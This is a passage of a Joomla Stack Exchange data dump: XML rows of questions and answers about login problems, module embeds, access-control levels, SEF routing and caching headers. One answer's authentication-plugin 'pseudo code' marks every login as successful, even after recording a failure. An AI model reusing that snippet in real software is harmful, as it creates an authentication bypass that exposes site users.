$item-&amp;gt;router)); ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php echo $this-&amp;gt;escape($item-&amp;gt;core_title); ?&amp;gt;&#xA;&amp;lt;/a&amp;gt; &#xA;&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;//image&#xA;$images  = json_decode($item-&amp;gt;core_images);&#xA;echo '&amp;lt;p&amp;gt;&amp;lt;img class=&quot;intro-image&quot; src=&quot;'.$images-&amp;gt;image_intro.'&quot;&amp;gt;&amp;lt;/p&amp;gt;';                  &#xA;//introtext&#xA;$limit =300;&#xA;if (strlen($item-&amp;gt;text) &amp;gt; $limit) {&#xA;echo (substr($item-&amp;gt;text, 0, $limit)) ?&amp;gt; &amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_(TagsHelperRoute::getItemRoute($item-&amp;gt;content_item_id, $item-&amp;gt;core_alias, $item-&amp;gt;core_catid, $item-&amp;gt;core_language, $item-&amp;gt;type_alias, $item-&amp;gt;router)); ?&amp;gt;&quot;&amp;gt;...&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;else {&#xA;echo $item-&amp;gt;text;&#xA;}&#xA;?&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;&amp;lt;a class=&quot;read-more&quot; href=&quot;&amp;lt;?php echo JRoute::_(TagsHelperRoute::getItemRoute($item-&amp;gt;content_item_id, $item-&amp;gt;core_alias, $item-&amp;gt;core_catid, $item-&amp;gt;core_language, $item-&amp;gt;type_alias, $item-&amp;gt;router)); ?&amp;gt;&quot;&amp;gt;Read more&amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9066" LastEditorUserId="9066" LastEditDate="2016-09-23T14:31:36.513" LastActivityDate="2016-09-23T14:31:36.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17966" PostTypeId="1" CreationDate="2016-09-23T15:32:29.787" Score="1" ViewCount="1469" Body="&lt;p&gt;I have a Joomla 3.x site that I recently updated to 3.6.2. Everything was working fine, or so I thought, until I received an email from the client saying that they can't login to the employee section of their site. I tested the credentials they gave me, reset the password and tested again, then tried to login using the Super Admin account. All of these attempts failed. The login page would reload and there'd be no error message, nor was there anything in the error_log file. I can login to the back-end just fine. Needless to say, this is proving to be an interesting problem and so far my search for a solution has been fruitless. I can restore a backup that I took before updating, which would hopefully fix the issue, but before I do that, I'd like to see if the brilliant minds here might have some insight. So far, these are the things that I have checked or attempted.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Login using an Admin/Super Admin account&lt;/li&gt;&#xA;&lt;li&gt;Login using the client's account&lt;/li&gt;&#xA;&lt;li&gt;Reset the password for the client's account&lt;/li&gt;&#xA;&lt;li&gt;Login again using the client's account&lt;/li&gt;&#xA;&lt;li&gt;Create a new user and try logging in with that account&lt;/li&gt;&#xA;&lt;li&gt;Reinstall the Joomla 3.6.2 update files&lt;/li&gt;&#xA;&lt;li&gt;Try logging in with the Super Admin and client accounts&lt;/li&gt;&#xA;&lt;li&gt;Try logging in with a new account&lt;/li&gt;&#xA;&lt;li&gt;Check the login permissions&lt;/li&gt;&#xA;&lt;li&gt;Check Joomla's global configuration&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Obviously, none of these have worked, nor did I find anything amiss in the settings. Any help is greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2018-07-23T11:54:24.753" Title="Joomla 3.6.2 Users can't log in on the front-end. Back-end login unaffected" Tags="|joomla-3.x|login|front-end|joomla-3.6|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17967" PostTypeId="2" ParentId="17964" CreationDate="2016-09-23T16:19:32.227" Score="1" Body="&lt;p&gt;First, it's always a good idea to check the &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow&quot;&gt;Joomla Extension Directory&lt;/a&gt; if you're looking for a plugin/extension. You'll never know what you can find if you don't look. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, you may not need a plug in for this. Assuming that you have:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;a code snippet with instructions on how to embed it&lt;/li&gt;&#xA;&lt;li&gt;access to your site's template files if needed&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;you can just use a module or two to get things working. This isn't just for Facebook ad embeds, but any kind of embed that has a script and some target markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, paste your target div in a module, or an article, and assign it to the position you want the embed to appear in. Next, paste the script in a module that is assigned to a position that's used for script embeds. If you're template doesn't have one, or a way to add custom javascript, you can create one easily enough. &lt;a href=&quot;https://docs.joomla.org/Declaring_module_positions&quot; rel=&quot;nofollow&quot;&gt;This page&lt;/a&gt; in the Joomla Docs has all the info you need to do this. Just place the jdoc tag in a div before the closing body tag and hide the div using CSS (display:none;). Test your site to see if things are working properly. Assuming everything went as planned, you should have it working, no plugins required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if you really want to use a plugin, and you can't find one that works, it is possible to write you're own. This will require knowledge of PHP, Object Oriented Programming, Joomla's extension types, and Joomla's plugin events and types. You can get a crash course in plugin development by googling &quot;Joomla Plugin Development.&quot; If you want, you can also hire someone to develop a plugin for you. Be warned, though, that can be very expensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps out, I've never heard of embedding Facebook ads before, and I couldn't really find any info on it, so I have made a few assumptions on how it is supposed to work. If I have made some incorrect assumptions, let me know and I'll do my best to edit this answer to better fit what you actually need.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2016-09-23T16:19:32.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17968" PostTypeId="2" ParentId="15711" CreationDate="2016-09-23T17:02:45.977" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Say I have a module that displays a mini-calendar. Can I have the mini-calendar display data from one set, while on a different page, the same mini-calendar module displays data from another set?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you would simply need to include a field for the ICS calendar feed in your module. Each instance of the module could have a different value there.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In WordPress, when you drag a widget into an area, you can specify the settings for the widget, in that specific area. You can even drag the same widget into a specific area multiple times and specify different operating parameters for each widget instance. Is there something analogous in Joomla?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, but not using &quot;drag-n-drop.&quot; You would simply create a new module of the same &quot;Type&quot; and assign it to the same module &quot;Position&quot; for each instance of the module you want. You can even choose the &quot;Ordering&quot; of the modules in the same position.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If modules aren't the way to go, could anyone please give me a pointer on the direction I should go?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, it sound like modules are absolutely the way to go!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here are a few recommended reads:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Module&quot; rel=&quot;nofollow&quot;&gt;Modules&lt;/a&gt; Documentation&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.gavick.com/blog/joomla-modules-wordpress-widgets&quot; rel=&quot;nofollow&quot;&gt;Joomla modules vs WordPress widgets&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.gavick.com/blog/comparing-joomla-wordpress-nomenclature&quot; rel=&quot;nofollow&quot;&gt;Comparing Joomla and WordPress: Nomenclature&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5638" LastActivityDate="2016-09-23T17:02:45.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17969" PostTypeId="2" ParentId="17966" CreationDate="2016-09-23T20:41:20.113" Score="0" Body="&lt;p&gt;Make sure that it's actually the page it's supposed to be. It was an issue with SEF that I've fixed, but that has lead to the discover of a new problem with the login module.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2016-09-23T20:41:20.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17970" PostTypeId="1" CreationDate="2016-09-23T22:19:09.570" Score="2" ViewCount="910" Body="&lt;p&gt;I'm trying to render the media manager field type in a custom form. The form is not loaded from the xml.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this code is causing an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$obj = new JFormFieldMedia();&#xA;$obj -&amp;gt; __set('name','icon_image');   &#xA;$obj -&amp;gt; renderField();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please can you help me?&lt;/p&gt;&#xA;" OwnerUserId="9071" LastEditorUserId="126" LastEditDate="2017-05-02T22:01:00.493" LastActivityDate="2018-06-27T05:32:03.790" Title="Render field type in custom form" Tags="|jform|form-fields-types|media-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17971" PostTypeId="1" AcceptedAnswerId="17972" CreationDate="2016-09-24T13:16:28.320" Score="0" ViewCount="1133" Body="&lt;p&gt;I'm trying to use Joomla's Access Control List to limit the menu items in my&#xA;website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are mainly 5 menu items:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Level 1 Start&lt;/li&gt;&#xA;&lt;li&gt;Level 2 Developing&lt;/li&gt;&#xA;&lt;li&gt;Level 3 Aspiring&lt;/li&gt;&#xA;&lt;li&gt;Level 4 Advanced&lt;/li&gt;&#xA;&lt;li&gt;Level 5 Elite&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Level 5 can access all content(from 1-5 ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Level 4 has access to (1-4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Level 3 (1-3).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Level 2 (1-2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Level 1 (Just Level 1). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have achieved the menu control up to a certain extent by using a component called Membership Pro (with basic url controlling), but this doesn't work as it shows submenu items when entered manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really can't figure out the logic for the Joomla ACL (user groups etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My site url is: &lt;a href=&quot;http://coaching.touchtight.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://coaching.touchtight.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8862" LastEditorUserId="12352" LastEditDate="2018-07-23T20:39:12.437" LastActivityDate="2020-09-29T22:47:43.743" Title="How to define access control for menu items?" Tags="|joomla-3.6|acl|user-groups|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17972" PostTypeId="2" ParentId="17971" CreationDate="2016-09-24T14:10:27.740" Score="2" Body="&lt;p&gt;There is a tutorial on the docs page which is worth reading: &lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In your case, you only need to deal with access levels, you can ignore the permissions (actions) tab.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You create a user group for each of the 5 user groups you have.&lt;/li&gt;&#xA;&lt;li&gt;You create an access level for each of the 5 levels you have and assign the group(s) that should have access to that level. E.g. for Access Level 1, you assign all user groups, for Level 2 you assign user groups 2-5, Level 3 has user groups 3-5, ...&lt;/li&gt;&#xA;&lt;li&gt;Assign the access levels to the menu items.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="52" LastEditorUserId="13058" LastEditDate="2020-09-29T22:47:43.743" LastActivityDate="2020-09-29T22:47:43.743" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="17974" PostTypeId="2" ParentId="17672" CreationDate="2016-09-25T04:15:09.077" Score="0" Body="&lt;p&gt;Reducing the load on the server by enabling the cache or similar may help (if you haven't done this already).&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-09-25T04:15:09.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17975" PostTypeId="1" CreationDate="2016-09-25T09:13:03.670" Score="1" ViewCount="83" Body="&lt;p&gt;While trying to move site to 3.6.2&#xA;I was prehand crawling in url through Xenu efore making it live&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However - found some strange url been crawled by xenu - almost more than 300 url like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://localhost/testsite/index.php?option=com_users&amp;amp;view=login&amp;amp;return=L215Y2FydGVzdGZpbmFsL2luZGV4LnBocD9vcHRpb249Y29tX2Vhc3libG9nJmFtcDt2aWV3PWVudHJ5JmFtcDtpZD0yNTgmYW1wO0l0ZW1pZD05MQ==&amp;amp;Itemid=9&#xA;&#xA;http://localhost/testsite/index.php?option=com_users&amp;amp;view=login&amp;amp;return=L215Y2FydGVzdGZpbmFsL2luZGV4LnBocD9vcHRpb249Y29tX2Vhc3libG9nJmFtcDt2aWV3PWVudHJ5JmFtcDtpZD0yNjYmYW1wO0l0ZW1pZD05MQ==&amp;amp;Itemid=9&#xA;&#xA;http://localhost/testsite/index.php?option=com_users&amp;amp;view=login&amp;amp;return=L215Y2FydGVzdGZpbmFsL2luZGV4LnBocD9vcHRpb249Y29tX2Vhc3libG9nJmFtcDt2aWV3PWVudHJ5JmFtcDtpZD0yNjcmYW1wO0l0ZW1pZD05MQ==&amp;amp;Itemid=9&#xA;&#xA;http://localhost/testsite/index.php?option=com_users&amp;amp;view=login&amp;amp;return=L215Y2FydGVzdGZpbmFsL2luZGV4LnBocD9vcHRpb249Y29tX2Vhc3libG9nJmFtcDt2aWV3PWVudHJ5JmFtcDtpZD0yNDAmYW1wO0l0ZW1pZD05MQ==&amp;amp;Itemid=9&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can any one suggest - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 what are these url generated by com_users&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 Is there any security flaw&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 How to mark them no index&lt;/p&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2016-10-27T09:47:11.830" Title="Strange url in crawl of com_users" Tags="|joomla-3.x|component|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17978" PostTypeId="2" ParentId="16687" CreationDate="2016-09-25T18:14:41.970" Score="1" Body="&lt;p&gt;You have to create an authentification plugin see the documnentation :&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_an_Authentication_Plugin_for_Joomla/en&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Creating_an_Authentication_Plugin_for_Joomla/en&lt;/a&gt; and my pseudo code below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    /**&#xA;     * @version    $Id: myauth.php 7180 2007-04-23 16:51:53Z jinx $&#xA;     * @package    Joomla.Tutorials&#xA;     * @subpackage Plugins&#xA;     * @license    GNU/GPL&#xA;     */&#xA;&#xA;    // Check to ensure this file is included in Joomla!&#xA;    defined('_JEXEC') or die();&#xA;&#xA;    /**&#xA;     * Example Authentication Plugin.  Based on the example.php plugin in the Joomla! Core installation&#xA;     *&#xA;     * @package    Joomla.Tutorials&#xA;     * @subpackage Plugins&#xA;     * @license    GNU/GPL&#xA;     */&#xA;    class plgAuthenticationMyauth extends JPlugin&#xA;    {&#xA;        /**&#xA;         * This method should handle any authentication and report back to the subject&#xA;         * This example uses simple authentication - it checks if the password is the reverse&#xA;         * of the username (and the user exists in the database).&#xA;         *&#xA;         * @access    public&#xA;         * @param     array     $credentials    Array holding the user credentials ('username' and 'password')&#xA;         * @param     array     $options        Array of extra options&#xA;         * @param     object    $response       Authentication response object&#xA;         * @return    boolean&#xA;         * @since 1.5&#xA;         */&#xA;        function onUserAuthenticate( $credentials, $options, &amp;amp;$response )&#xA;        {&#xA;            /*&#xA;             * Here you would do whatever you need for an authentication routinr with the credentials.Do your api call here with curl or an other method. Assume you API return an $result-&amp;gt;success variable&#xA; */&#xA;&#xA;if (!$result-&amp;gt;success) {&#xA;            $response-&amp;gt;status = STATUS_FAILURE;&#xA;            $response-&amp;gt;error_message = 'User does not exist';&#xA;        }&#xA;&#xA;            $email = JUser::getInstance($result-&amp;gt;username); // Bring this in line with the rest of the system&#xA;            $response-&amp;gt;email = $email-&amp;gt;email;&#xA;            $response-&amp;gt;status = JAuthentication::STATUS_SUCCESS;&#xA;&#xA;        }&#xA;    }&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5378" LastActivityDate="2016-09-25T18:14:41.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17980" PostTypeId="1" CreationDate="2016-09-26T09:01:58.210" Score="0" ViewCount="532" Body="&lt;p&gt;I am developing a component a component. When i click on a item or enter the URL like this &lt;strong&gt;&quot;index.php?view=customercenter&amp;amp;id=31&quot;&lt;/strong&gt; i receive the id of the item with this code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Controller:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display($cachable = false, $urlparams = false)&#xA;{&#xA;    $document       = JFactory::getDocument()-&amp;gt;input;        &#xA;    $id = $this-&amp;gt;input-&amp;gt;get('id', 0, 'INT');&#xA;    $vName = $this-&amp;gt;input-&amp;gt;get('view', 'customercenter');&#xA;    $this-&amp;gt;input-&amp;gt;set('view', $vName);&#xA;&#xA;    parent::display($cachable, $urlparams);&#xA;&#xA;    return $this;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That works and i recieve the id &quot;31&quot;. But when i enable sef-friendly urls and create the router.php, i always &lt;strong&gt;get &quot;0&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Router.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function CustomerCenterBuildRoute( &amp;amp;$query ) {&#xA;$segments = array();&#xA;   if (isset($query['view']))&#xA;   {&#xA;            $segments[] = $query['view'];&#xA;            unset($query['view']);&#xA;   }&#xA;   if (isset($query['id']))&#xA;   {&#xA;            $segments[] = $query['id'];&#xA;            unset($query['id']);&#xA;   };&#xA;   return $segments; }&#xA;function CustomerCenterParseRoute($segments) {&#xA;   $vars = array();&#xA;   switch($segments[0])&#xA;   {&#xA;           case 'categories':&#xA;                   $vars['view'] = 'categories';&#xA;                   break;&#xA;           case 'category':&#xA;                   $vars['view'] = 'category';&#xA;                   $id = explode(':', $segments[1]);&#xA;                   $vars['id'] = (int) $id[0];&#xA;                   break;&#xA;           case 'article':&#xA;                   $vars['view'] = 'article';&#xA;                   $id = explode(':', $segments[1]);&#xA;                   $vars['id'] = (int) $id[0];&#xA;                   break;&#xA;   }&#xA;   return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The link:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href='&quot; . JRoute::_('index.php?view=customercenter&amp;amp;id=' . $row-&amp;gt;id . ':' . JFilterOutput::stringURLSafe($row-&amp;gt;name) ) . &quot;'&amp;gt;&quot; . $row-&amp;gt;name . &quot;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does the method &quot;input-&gt;get('id', 0, 'INT');&quot; not work with sef-friendly urls?&lt;/p&gt;&#xA;" OwnerUserId="9046" LastActivityDate="2016-09-26T09:17:14.163" Title="Get id of custom component item with and sef-friendly urls" Tags="|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17981" PostTypeId="2" ParentId="17980" CreationDate="2016-09-26T09:17:14.163" Score="1" Body="&lt;p&gt;Ok, i found the mistake, i had to replace &quot;article&quot; with the right name of the view in my component &quot;customercenter&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wrong:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case 'article':&#xA;                   $vars['view'] = 'article';&#xA;                   $id = explode(':', $segments[1]);&#xA;                   $vars['id'] = (int) $id[0];&#xA;                   break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Correct:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; case 'customercenter':&#xA;                   $vars['view'] = 'customercenter';&#xA;                   $id = explode(':', $segments[1]);&#xA;                   $vars['id'] = (int) $id[0];&#xA;                   break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9046" LastActivityDate="2016-09-26T09:17:14.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17982" PostTypeId="1" CreationDate="2016-09-26T10:47:54.247" Score="2" ViewCount="177" Body="&lt;p&gt;I have just upgrade my site to Joomla 3.6.2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While submitting the url to Google for indexing, it's showing:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Downloaded HTTP response:&#xA;  Expires: Wed, 17 Aug 2005 00:00:00 GMT&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The expiration is &lt;code&gt;2005&lt;/code&gt;, how to correct it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have jotcache enable, but there is no browser cache enabled.&lt;/p&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="12352" LastEditDate="2020-01-21T22:49:20.253" LastActivityDate="2020-01-21T22:49:20.253" Title="While submitting url to Google for indexing, it's showing &quot;Downloaded HTTP response: Expires: Wed, 17 Aug 2005 00:00:00 GMT&quot;" Tags="|joomla-3.x|google|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17983" PostTypeId="2" ParentId="17672" CreationDate="2016-09-26T12:51:12.903" Score="1" Body="&lt;p&gt;A lot of traffic can make the Joomla sessions table cause a high Mysql disk I/O. This can result in myslq timing out.&#xA;Check the resource monitor for Mysql disk I/O. &#xA;It's possible this does not show up in the form of high CPU or RAM usage.&lt;/p&gt;&#xA;" OwnerUserId="265" LastActivityDate="2016-09-26T12:51:12.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17984" PostTypeId="2" ParentId="17146" CreationDate="2016-09-26T17:48:25.787" Score="3" Body="&lt;p&gt;Sub Form Fields data save as JSON format so first need to &quot;json_decode()&quot; this to get the data then run foreach look to get data. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $slideshow_items= json_decode($this-&amp;gt;item-&amp;gt;slideshow_items); ?&amp;gt;&#xA;&#xA;&amp;lt;?php foreach ($slideshow_items as $item) : ?&amp;gt;&#xA;&amp;lt;div class=&quot;slideshow&quot;&amp;gt;&#xA;&amp;lt;img src=&quot;&amp;lt;?php echo $item-&amp;gt;slideshow_img; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;p class=&quot;slideshow_text&quot;&amp;gt;&#xA;  &amp;lt;?php echo $item-&amp;gt;slideshow_text; ?&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9076" LastEditorUserId="9076" LastEditDate="2016-09-26T18:05:26.223" LastActivityDate="2016-09-26T18:05:26.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17986" PostTypeId="1" CreationDate="2016-09-27T03:59:18.353" Score="0" ViewCount="629" Body="&lt;p&gt;I wish to modify the Joomla! Registration Page.  Specifically:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Modify the page title&lt;/li&gt;&#xA;&lt;li&gt;Add a Banner across the top of the page&lt;/li&gt;&#xA;&lt;li&gt;Move captcha to the bottom of &quot;User Profile&quot; above the &quot;register&quot; or &quot;cancel&quot; buttons.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I located the file: &lt;code&gt;com_users\views\registration\temp\default.php&lt;/code&gt; and the line &lt;code&gt;&amp;lt;?php echo $this-&amp;gt;escape($this-&amp;gt;params-&amp;gt;get('page_heading')); ?&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Where is the value &quot;page_heading&quot; obtained from?&lt;/li&gt;&#xA;&lt;li&gt;Will removing (or modifying the above line) cause other issues?&lt;/li&gt;&#xA;&lt;li&gt;What file or files(s) can I modify to perform point &lt;strong&gt;3&lt;/strong&gt; above?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If these questions seem very elementary, they should be I am just a beginner in PHP and CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&lt;/p&gt;&#xA;" OwnerUserId="8913" LastEditorUserId="5638" LastEditDate="2016-12-14T16:16:02.767" LastActivityDate="2016-12-14T16:16:02.767" Title="Joomla 3.6.2 -- Modify Registration Page and Plugin User Profile" Tags="|joomla-3.6|registration|profile|com-banners|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17988" PostTypeId="2" ParentId="17672" CreationDate="2016-09-27T05:13:27.593" Score="1" Body="&lt;p&gt;Shared hosting is very bad for any serious business. Before doing anything, you should invest a bit more money into your website and move to a VPS (that move will pay for itself since Google ranks faster websites higher).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you do that, you can then tweak your InnoDB settings (and perhaps modify the core) in order to enhance the performance of your Joomla website (if your website is fairly large, then &lt;a href=&quot;http://www.itoctopus.com/mysql-innodb-optimization-for-large-joomla-websites&quot; rel=&quot;nofollow&quot;&gt;this post&lt;/a&gt; may help). If everything is fine but you are still having issues, then you will need to monitor your slow query log for any slow queries and optimize these queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, you should - you really should move from shared hosting to at least a VPS. Shared hosts typically do not care much about the performance of the websites on a shared host server (in fact, some may block or may aggressively cache resource intensive websites).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-09-27T05:13:27.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17989" PostTypeId="2" ParentId="17982" CreationDate="2016-09-27T05:15:48.227" Score="1" Body="&lt;p&gt;Most likely this is set in your &lt;code&gt;.htaccess&lt;/code&gt; file - check your &lt;code&gt;.htaccess&lt;/code&gt; file for any entries that may cause this. If everything is OK with your &lt;code&gt;.htaccess&lt;/code&gt; file, then try disabling &lt;code&gt;JotCache&lt;/code&gt; to see if it's the one causing the problem (I highly doubt it though).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-09-27T05:15:48.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17990" PostTypeId="2" ParentId="17975" CreationDate="2016-09-27T05:24:54.350" Score="1" Body="&lt;p&gt;The return part is telling Joomla which page it should redirect to on success. It is not a security flaw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to prevent Google from indexing this, then, you will need to override the login view and then use &lt;code&gt;setMetaData&lt;/code&gt; to set the &lt;code&gt;robots&lt;/code&gt; meta tag to &lt;code&gt;noindex, nofollow&lt;/code&gt;. Note that Google may take an awful amount of time to de-index those pages, so be patient.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-09-27T05:24:54.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
